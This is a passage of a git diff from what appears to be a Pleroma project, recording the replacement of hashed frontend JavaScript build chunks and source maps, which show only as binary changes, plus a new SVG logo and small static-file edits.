a/priv/static/static/js/22.2ea93c6cc569ef0256ab.js.map and /dev/null differ diff --git a/priv/static/static/js/22.e20ef7e5fefc0964cdd1.js b/priv/static/static/js/22.e20ef7e5fefc0964cdd1.js new file mode 100644 index 000000000..e8f309f8a Binary files /dev/null and b/priv/static/static/js/22.e20ef7e5fefc0964cdd1.js differ diff --git a/priv/static/static/js/22.e20ef7e5fefc0964cdd1.js.map b/priv/static/static/js/22.e20ef7e5fefc0964cdd1.js.map new file mode 100644 index 000000000..7780cffe6 Binary files /dev/null and b/priv/static/static/js/22.e20ef7e5fefc0964cdd1.js.map differ diff --git a/priv/static/static/js/23.614a35f9ded445292f4a.js b/priv/static/static/js/23.614a35f9ded445292f4a.js new file mode 100644 index 000000000..a35450986 Binary files /dev/null and b/priv/static/static/js/23.614a35f9ded445292f4a.js differ diff --git a/priv/static/static/js/23.614a35f9ded445292f4a.js.map b/priv/static/static/js/23.614a35f9ded445292f4a.js.map new file mode 100644 index 000000000..4158041f4 Binary files /dev/null and b/priv/static/static/js/23.614a35f9ded445292f4a.js.map differ diff --git a/priv/static/static/js/23.a57a7845cc20fafd06d1.js b/priv/static/static/js/23.a57a7845cc20fafd06d1.js deleted file mode 100644 index b15a888df..000000000 Binary files a/priv/static/static/js/23.a57a7845cc20fafd06d1.js and /dev/null differ diff --git a/priv/static/static/js/23.a57a7845cc20fafd06d1.js.map b/priv/static/static/js/23.a57a7845cc20fafd06d1.js.map deleted file mode 100644 index 0e5b421e6..000000000 Binary files a/priv/static/static/js/23.a57a7845cc20fafd06d1.js.map and /dev/null differ diff --git a/priv/static/static/js/24.35eb55a657b5485f8491.js b/priv/static/static/js/24.35eb55a657b5485f8491.js deleted file mode 100644 index d09d5c371..000000000 Binary files a/priv/static/static/js/24.35eb55a657b5485f8491.js and /dev/null differ diff --git a/priv/static/static/js/24.35eb55a657b5485f8491.js.map b/priv/static/static/js/24.35eb55a657b5485f8491.js.map deleted file mode 100644 index 93ffbb2e9..000000000 Binary files a/priv/static/static/js/24.35eb55a657b5485f8491.js.map and /dev/null differ diff --git a/priv/static/static/js/24.6ae9ca51e51e023afbe4.js b/priv/static/static/js/24.6ae9ca51e51e023afbe4.js new file mode 100644 index 000000000..d075f3b1f Binary files /dev/null and b/priv/static/static/js/24.6ae9ca51e51e023afbe4.js differ diff --git a/priv/static/static/js/24.6ae9ca51e51e023afbe4.js.map b/priv/static/static/js/24.6ae9ca51e51e023afbe4.js.map new file mode 100644 index 000000000..7e68d5eaa Binary files /dev/null and b/priv/static/static/js/24.6ae9ca51e51e023afbe4.js.map differ diff --git a/priv/static/static/js/25.5a9efe20e3ae1352e6d2.js b/priv/static/static/js/25.5a9efe20e3ae1352e6d2.js deleted file mode 100644 index e96c5e6ec..000000000 Binary files a/priv/static/static/js/25.5a9efe20e3ae1352e6d2.js and /dev/null differ diff --git a/priv/static/static/js/25.5a9efe20e3ae1352e6d2.js.map b/priv/static/static/js/25.5a9efe20e3ae1352e6d2.js.map deleted file mode 100644 index a506e6fa8..000000000 Binary files a/priv/static/static/js/25.5a9efe20e3ae1352e6d2.js.map and /dev/null differ diff --git a/priv/static/static/js/25.eadae0d48ee5be52a16c.js b/priv/static/static/js/25.eadae0d48ee5be52a16c.js new file mode 100644 index 000000000..a0e44e1aa Binary files /dev/null and b/priv/static/static/js/25.eadae0d48ee5be52a16c.js differ diff --git a/priv/static/static/js/25.eadae0d48ee5be52a16c.js.map b/priv/static/static/js/25.eadae0d48ee5be52a16c.js.map new file mode 100644 index 000000000..aaa5e3a57 Binary files /dev/null and b/priv/static/static/js/25.eadae0d48ee5be52a16c.js.map differ diff --git a/priv/static/static/js/26.8fd0027b982c4bcdc88f.js b/priv/static/static/js/26.8fd0027b982c4bcdc88f.js new file mode 100644 index 000000000..3b149915b Binary files /dev/null and b/priv/static/static/js/26.8fd0027b982c4bcdc88f.js differ diff --git a/priv/static/static/js/26.8fd0027b982c4bcdc88f.js.map b/priv/static/static/js/26.8fd0027b982c4bcdc88f.js.map new file mode 100644 index 000000000..d40f1979a Binary files /dev/null and b/priv/static/static/js/26.8fd0027b982c4bcdc88f.js.map differ diff --git a/priv/static/static/js/26.cf13231d524e5ca3b3e6.js b/priv/static/static/js/26.cf13231d524e5ca3b3e6.js deleted file mode 100644 index adc57d6c7..000000000 Binary files a/priv/static/static/js/26.cf13231d524e5ca3b3e6.js and /dev/null differ diff --git a/priv/static/static/js/26.cf13231d524e5ca3b3e6.js.map b/priv/static/static/js/26.cf13231d524e5ca3b3e6.js.map deleted file mode 100644 index 8654bda10..000000000 Binary files a/priv/static/static/js/26.cf13231d524e5ca3b3e6.js.map and /dev/null differ diff --git a/priv/static/static/js/27.6d90a54efba08d261d69.js b/priv/static/static/js/27.6d90a54efba08d261d69.js new file mode 100644 index 000000000..e8420a54f Binary files /dev/null and b/priv/static/static/js/27.6d90a54efba08d261d69.js differ diff --git a/priv/static/static/js/27.6d90a54efba08d261d69.js.map b/priv/static/static/js/27.6d90a54efba08d261d69.js.map new file mode 100644 index 000000000..6685474ce Binary files /dev/null and b/priv/static/static/js/27.6d90a54efba08d261d69.js.map differ diff --git a/priv/static/static/js/27.fca8d4f6e444bd14f376.js b/priv/static/static/js/27.fca8d4f6e444bd14f376.js deleted file mode 100644 index 9f8b5c85d..000000000 Binary files a/priv/static/static/js/27.fca8d4f6e444bd14f376.js and /dev/null differ diff --git a/priv/static/static/js/27.fca8d4f6e444bd14f376.js.map b/priv/static/static/js/27.fca8d4f6e444bd14f376.js.map deleted file mode 100644 index f6ea8afc9..000000000 Binary files a/priv/static/static/js/27.fca8d4f6e444bd14f376.js.map and /dev/null differ diff --git a/priv/static/static/js/28.e0f9f164e0bfd890dc61.js b/priv/static/static/js/28.e0f9f164e0bfd890dc61.js deleted file mode 100644 index 75ba6d69d..000000000 Binary files a/priv/static/static/js/28.e0f9f164e0bfd890dc61.js and /dev/null differ diff --git a/priv/static/static/js/28.e0f9f164e0bfd890dc61.js.map b/priv/static/static/js/28.e0f9f164e0bfd890dc61.js.map deleted file mode 100644 index 536ae2d7a..000000000 Binary files a/priv/static/static/js/28.e0f9f164e0bfd890dc61.js.map and /dev/null differ diff --git a/priv/static/static/js/28.f1353aa382a104262d1a.js b/priv/static/static/js/28.f1353aa382a104262d1a.js new file mode 100644 index 000000000..a253284f0 Binary files /dev/null and b/priv/static/static/js/28.f1353aa382a104262d1a.js differ diff --git a/priv/static/static/js/28.f1353aa382a104262d1a.js.map b/priv/static/static/js/28.f1353aa382a104262d1a.js.map new file mode 100644 index 000000000..3421c9511 Binary files /dev/null and b/priv/static/static/js/28.f1353aa382a104262d1a.js.map differ diff --git a/priv/static/static/js/29.0b69359f0fe5c0785746.js b/priv/static/static/js/29.0b69359f0fe5c0785746.js deleted file mode 100644 index 24d73bcd5..000000000 Binary files a/priv/static/static/js/29.0b69359f0fe5c0785746.js and /dev/null differ diff --git a/priv/static/static/js/29.0b69359f0fe5c0785746.js.map b/priv/static/static/js/29.0b69359f0fe5c0785746.js.map deleted file mode 100644 index 65cd6bc82..000000000 Binary files a/priv/static/static/js/29.0b69359f0fe5c0785746.js.map and /dev/null differ diff --git a/priv/static/static/js/29.39c1e87a689c840395b2.js b/priv/static/static/js/29.39c1e87a689c840395b2.js new file mode 100644 index 000000000..ddb512279 Binary files /dev/null and b/priv/static/static/js/29.39c1e87a689c840395b2.js differ diff --git a/priv/static/static/js/29.39c1e87a689c840395b2.js.map b/priv/static/static/js/29.39c1e87a689c840395b2.js.map new file mode 100644 index 000000000..5901ce9b7 Binary files /dev/null and b/priv/static/static/js/29.39c1e87a689c840395b2.js.map differ diff --git a/priv/static/static/js/3.7d21accf4e5bd07e3ebf.js b/priv/static/static/js/3.7d21accf4e5bd07e3ebf.js deleted file mode 100644 index d98aadec2..000000000 Binary files a/priv/static/static/js/3.7d21accf4e5bd07e3ebf.js and /dev/null differ diff --git a/priv/static/static/js/3.7d21accf4e5bd07e3ebf.js.map b/priv/static/static/js/3.7d21accf4e5bd07e3ebf.js.map deleted file mode 100644 index 37826baac..000000000 Binary files a/priv/static/static/js/3.7d21accf4e5bd07e3ebf.js.map and /dev/null differ diff --git a/priv/static/static/js/3.a0df8a5bcd120d1f8581.js b/priv/static/static/js/3.a0df8a5bcd120d1f8581.js new file mode 100644 index 000000000..423121114 Binary files /dev/null and b/priv/static/static/js/3.a0df8a5bcd120d1f8581.js differ diff --git a/priv/static/static/js/3.a0df8a5bcd120d1f8581.js.map b/priv/static/static/js/3.a0df8a5bcd120d1f8581.js.map new file mode 100644 index 000000000..653727d10 Binary files /dev/null and b/priv/static/static/js/3.a0df8a5bcd120d1f8581.js.map differ diff --git a/priv/static/static/js/30.64736585965c63c2b5d4.js b/priv/static/static/js/30.64736585965c63c2b5d4.js new file mode 100644 index 000000000..4fdbe8c3e Binary files /dev/null and b/priv/static/static/js/30.64736585965c63c2b5d4.js differ diff --git a/priv/static/static/js/30.64736585965c63c2b5d4.js.map b/priv/static/static/js/30.64736585965c63c2b5d4.js.map new file mode 100644 index 000000000..376920946 Binary files /dev/null and b/priv/static/static/js/30.64736585965c63c2b5d4.js.map differ diff --git a/priv/static/static/js/30.fce58be0b52ca3e32fa4.js b/priv/static/static/js/30.fce58be0b52ca3e32fa4.js deleted file mode 100644 index 03a5d65f6..000000000 Binary files a/priv/static/static/js/30.fce58be0b52ca3e32fa4.js and /dev/null differ diff --git a/priv/static/static/js/30.fce58be0b52ca3e32fa4.js.map b/priv/static/static/js/30.fce58be0b52ca3e32fa4.js.map deleted file mode 100644 index f7dc83701..000000000 Binary files a/priv/static/static/js/30.fce58be0b52ca3e32fa4.js.map and /dev/null differ diff --git a/priv/static/static/js/4.4cde7fdd1fe6bf2a9499.js b/priv/static/static/js/4.4cde7fdd1fe6bf2a9499.js new file mode 100644 index 000000000..4da4c56fa Binary files /dev/null and b/priv/static/static/js/4.4cde7fdd1fe6bf2a9499.js differ diff --git a/priv/static/static/js/4.4cde7fdd1fe6bf2a9499.js.map b/priv/static/static/js/4.4cde7fdd1fe6bf2a9499.js.map new file mode 100644 index 000000000..bc040ab9b Binary files /dev/null and b/priv/static/static/js/4.4cde7fdd1fe6bf2a9499.js.map differ diff --git a/priv/static/static/js/4.5719922a4e807145346d.js b/priv/static/static/js/4.5719922a4e807145346d.js deleted file mode 100644 index 91ea2ac5e..000000000 Binary files a/priv/static/static/js/4.5719922a4e807145346d.js and /dev/null differ diff --git a/priv/static/static/js/4.5719922a4e807145346d.js.map b/priv/static/static/js/4.5719922a4e807145346d.js.map deleted file mode 100644 index d5e592cfd..000000000 Binary files a/priv/static/static/js/4.5719922a4e807145346d.js.map and /dev/null differ diff --git a/priv/static/static/js/5.2e165bc072548e533dd4.js b/priv/static/static/js/5.2e165bc072548e533dd4.js new file mode 100644 index 000000000..cfd84226c Binary files /dev/null and b/priv/static/static/js/5.2e165bc072548e533dd4.js differ diff --git a/priv/static/static/js/5.2e165bc072548e533dd4.js.map b/priv/static/static/js/5.2e165bc072548e533dd4.js.map new file mode 100644 index 000000000..49959c78e Binary files /dev/null and b/priv/static/static/js/5.2e165bc072548e533dd4.js.map differ diff --git a/priv/static/static/js/5.cf05c5ddbdbac890ae35.js b/priv/static/static/js/5.cf05c5ddbdbac890ae35.js deleted file mode 100644 index f54d67fb3..000000000 Binary files a/priv/static/static/js/5.cf05c5ddbdbac890ae35.js and /dev/null differ diff --git a/priv/static/static/js/5.cf05c5ddbdbac890ae35.js.map b/priv/static/static/js/5.cf05c5ddbdbac890ae35.js.map deleted file mode 100644 index 77f2d0898..000000000 Binary files a/priv/static/static/js/5.cf05c5ddbdbac890ae35.js.map and /dev/null differ diff --git a/priv/static/static/js/6.260ccd84f8cd2af27970.js b/priv/static/static/js/6.260ccd84f8cd2af27970.js new file mode 100644 index 000000000..fb4a690f4 Binary files /dev/null and b/priv/static/static/js/6.260ccd84f8cd2af27970.js differ diff --git a/priv/static/static/js/6.260ccd84f8cd2af27970.js.map b/priv/static/static/js/6.260ccd84f8cd2af27970.js.map new file mode 100644 index 000000000..850fe731a Binary files /dev/null and b/priv/static/static/js/6.260ccd84f8cd2af27970.js.map differ diff --git a/priv/static/static/js/6.ecfd3302a692de148391.js b/priv/static/static/js/6.ecfd3302a692de148391.js deleted file mode 100644 index 354243ec2..000000000 Binary files a/priv/static/static/js/6.ecfd3302a692de148391.js and /dev/null differ diff --git a/priv/static/static/js/6.ecfd3302a692de148391.js.map b/priv/static/static/js/6.ecfd3302a692de148391.js.map deleted file mode 100644 index a17c7d297..000000000 Binary files a/priv/static/static/js/6.ecfd3302a692de148391.js.map and /dev/null differ diff --git a/priv/static/static/js/7.1c41eff6cfc75a00bde4.js b/priv/static/static/js/7.1c41eff6cfc75a00bde4.js new file mode 100644 index 000000000..317770a53 Binary files /dev/null and b/priv/static/static/js/7.1c41eff6cfc75a00bde4.js differ diff --git a/priv/static/static/js/7.1c41eff6cfc75a00bde4.js.map b/priv/static/static/js/7.1c41eff6cfc75a00bde4.js.map new file mode 100644 index 000000000..36f327b3f Binary files /dev/null and b/priv/static/static/js/7.1c41eff6cfc75a00bde4.js.map differ diff --git a/priv/static/static/js/7.dd44c3d58fb9dced093d.js b/priv/static/static/js/7.dd44c3d58fb9dced093d.js deleted file mode 100644 index cb95efc73..000000000 Binary files a/priv/static/static/js/7.dd44c3d58fb9dced093d.js and /dev/null differ diff --git a/priv/static/static/js/7.dd44c3d58fb9dced093d.js.map b/priv/static/static/js/7.dd44c3d58fb9dced093d.js.map deleted file mode 100644 index ae7e35d5d..000000000 Binary files a/priv/static/static/js/7.dd44c3d58fb9dced093d.js.map and /dev/null differ diff --git a/priv/static/static/js/8.636322a87bb10a1754f8.js b/priv/static/static/js/8.636322a87bb10a1754f8.js deleted file mode 100644 index 6e635fb6a..000000000 Binary files a/priv/static/static/js/8.636322a87bb10a1754f8.js and /dev/null differ diff --git a/priv/static/static/js/8.636322a87bb10a1754f8.js.map b/priv/static/static/js/8.636322a87bb10a1754f8.js.map deleted file mode 100644 index f074928a5..000000000 Binary files a/priv/static/static/js/8.636322a87bb10a1754f8.js.map and /dev/null differ diff --git a/priv/static/static/js/8.9b35c2fee24ab7481e00.js b/priv/static/static/js/8.9b35c2fee24ab7481e00.js new file mode 100644 index 000000000..cb7844ffc Binary files /dev/null and b/priv/static/static/js/8.9b35c2fee24ab7481e00.js differ diff --git a/priv/static/static/js/8.9b35c2fee24ab7481e00.js.map b/priv/static/static/js/8.9b35c2fee24ab7481e00.js.map new file mode 100644 index 000000000..65f4d5ae9 Binary files /dev/null and b/priv/static/static/js/8.9b35c2fee24ab7481e00.js.map differ diff --git a/priv/static/static/js/9.3a29094f1886648a0af3.js b/priv/static/static/js/9.3a29094f1886648a0af3.js new file mode 100644 index 000000000..eb3516dcd Binary files /dev/null and b/priv/static/static/js/9.3a29094f1886648a0af3.js differ diff --git a/priv/static/static/js/9.3a29094f1886648a0af3.js.map b/priv/static/static/js/9.3a29094f1886648a0af3.js.map new file mode 100644 index 000000000..1b6224a6a Binary files /dev/null and b/priv/static/static/js/9.3a29094f1886648a0af3.js.map differ diff --git a/priv/static/static/js/9.6010dbcce7b4d7c05a18.js b/priv/static/static/js/9.6010dbcce7b4d7c05a18.js deleted file mode 100644 index fcad39a7e..000000000 Binary files a/priv/static/static/js/9.6010dbcce7b4d7c05a18.js and /dev/null differ diff --git a/priv/static/static/js/9.6010dbcce7b4d7c05a18.js.map b/priv/static/static/js/9.6010dbcce7b4d7c05a18.js.map deleted file mode 100644 index e5e1cd823..000000000 Binary files a/priv/static/static/js/9.6010dbcce7b4d7c05a18.js.map and /dev/null differ diff --git a/priv/static/static/js/app.45547c05212c403dd77c.js b/priv/static/static/js/app.45547c05212c403dd77c.js new file mode 100644 index 000000000..219a59493 Binary files /dev/null and b/priv/static/static/js/app.45547c05212c403dd77c.js differ diff --git a/priv/static/static/js/app.45547c05212c403dd77c.js.map b/priv/static/static/js/app.45547c05212c403dd77c.js.map new file mode 100644 index 000000000..e1dd6c992 Binary files /dev/null and b/priv/static/static/js/app.45547c05212c403dd77c.js.map differ diff --git a/priv/static/static/js/app.826c44232e0a76bbd9ba.js b/priv/static/static/js/app.826c44232e0a76bbd9ba.js deleted file mode 100644 index 16762165e..000000000 Binary files a/priv/static/static/js/app.826c44232e0a76bbd9ba.js and /dev/null differ diff --git a/priv/static/static/js/app.826c44232e0a76bbd9ba.js.map b/priv/static/static/js/app.826c44232e0a76bbd9ba.js.map deleted file mode 100644 index b188c3379..000000000 Binary files a/priv/static/static/js/app.826c44232e0a76bbd9ba.js.map and /dev/null differ diff --git a/priv/static/static/js/vendors~app.90c4af83c1ae68f4cd95.js b/priv/static/static/js/vendors~app.90c4af83c1ae68f4cd95.js deleted file mode 100644 index 879a3b312..000000000 Binary files a/priv/static/static/js/vendors~app.90c4af83c1ae68f4cd95.js and /dev/null differ diff --git a/priv/static/static/js/vendors~app.90c4af83c1ae68f4cd95.js.map b/priv/static/static/js/vendors~app.90c4af83c1ae68f4cd95.js.map deleted file mode 100644 index 395f83b6b..000000000 Binary files a/priv/static/static/js/vendors~app.90c4af83c1ae68f4cd95.js.map and /dev/null differ diff --git a/priv/static/static/js/vendors~app.952124344a84613dbac0.js b/priv/static/static/js/vendors~app.952124344a84613dbac0.js new file mode 100644 index 000000000..f7943c122 Binary files /dev/null and b/priv/static/static/js/vendors~app.952124344a84613dbac0.js differ diff --git a/priv/static/static/js/vendors~app.952124344a84613dbac0.js.map b/priv/static/static/js/vendors~app.952124344a84613dbac0.js.map new file mode 100644 index 000000000..05fc07c18 Binary files /dev/null and b/priv/static/static/js/vendors~app.952124344a84613dbac0.js.map differ diff --git a/priv/static/static/logo.png b/priv/static/static/logo.png deleted file mode 100644 index 7744b1acc..000000000 Binary files a/priv/static/static/logo.png and /dev/null differ diff --git a/priv/static/static/logo.svg b/priv/static/static/logo.svg new file mode 100644 index 000000000..68e647e6c --- /dev/null +++ b/priv/static/static/logo.svg @@ -0,0 +1,71 @@ + + + + + + image/svg+xml + + + + + + + + + + + + + + + diff --git a/priv/static/static/terms-of-service.html b/priv/static/static/terms-of-service.html index 3b6bbb36b..2b7bf7697 100644 --- a/priv/static/static/terms-of-service.html +++ b/priv/static/static/terms-of-service.html @@ -6,4 +6,4 @@ Pleroma install containing the real ToS for your instance.

See the Pleroma documentation for more information.


- + diff --git a/priv/static/sw-pleroma.js b/priv/static/sw-pleroma.js index fa4969025..385ee2f0c 100644 Binary files a/priv/static/sw-pleroma.js and b/priv/static/sw-pleroma.js differ diff --git a/priv/static/sw-pleroma.js.map b/priv/static/sw-pleroma.js.map index cd5ea0ae6..0b6a76c2f 100644 Binary files a/priv/static/sw-pleroma.js.map and b/priv/static/sw-pleroma.js.map differ -- cgit v1.2.3